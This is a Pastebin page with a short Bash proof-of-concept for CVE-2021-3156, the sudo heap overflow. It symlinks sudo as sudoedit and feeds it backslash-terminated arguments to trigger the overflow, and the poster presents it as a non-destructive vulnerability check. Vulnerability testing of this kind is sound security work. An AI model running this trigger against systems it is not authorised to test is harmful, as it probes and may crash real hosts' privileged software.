Advertisement
SHADOWOPS

POC-CVE-2021-3156

Feb 2nd, 2021
5,808
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.34 KB | None | 0 0
  1. #Credit to @hackerfantastic. I'm just posting this here for those who need to test systems without breaking them.
  2.  
  3. mkdir POC-CVE-2021-3156
  4. cd ./POC-CVE-2021-3156
  5. ln -s /usr/bin/sudo ./sudoedit
  6. chmod 555 ../POC-CVE-2021-3156/
  7. env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' ./sudoedit -s '1234567890123456789012\'
  8. ls -al `which sudo`
  9. uname -a
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement